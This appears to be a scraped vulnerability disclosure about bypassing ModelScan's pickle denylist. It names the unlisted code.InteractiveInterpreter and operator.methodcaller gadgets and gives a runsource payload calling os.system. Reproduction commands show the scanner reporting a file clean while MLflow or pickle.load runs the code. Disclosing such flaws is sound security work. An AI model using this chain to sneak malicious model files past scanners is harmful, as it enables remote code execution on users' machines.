Views
No views yet
unsafe_globals denylist to detect malicious pickle operations. However, code.InteractiveInterpreter and operator.methodcaller are NOT in the denylist.code.InteractiveInterpreter.runsource(), while ModelScan reports zero issues.operator.methodcaller('runsource', '__import__("os").system("cmd")') → Creates a callablecode.InteractiveInterpreter() → Creates an interactive interpreter instancemethodcaller(interpreter) → interpreter.runsource('__import__("os").system("cmd")') → Arbitrary Python code executioncode module is entirely absent from unsafe_globalsoperator.methodcaller is not blocked (only operator.attrgetter is)os.system which only runs shell commands, runsource() executes arbitrary Python code1# 1. ModelScan says CLEAN
2modelscan -p model.pkl
3# Output: No issues found! 🎉
4
5# 2. MLflow load triggers RCE
6python3 -c "
7import mlflow.pyfunc
8model = mlflow.pyfunc.load_model('.')
9"
10
11# 3. Direct pickle.load() triggers RCE
12python3 -c "
13import pickle
14with open('model.pkl', 'rb') as f:
15 pickle.load(f)
16"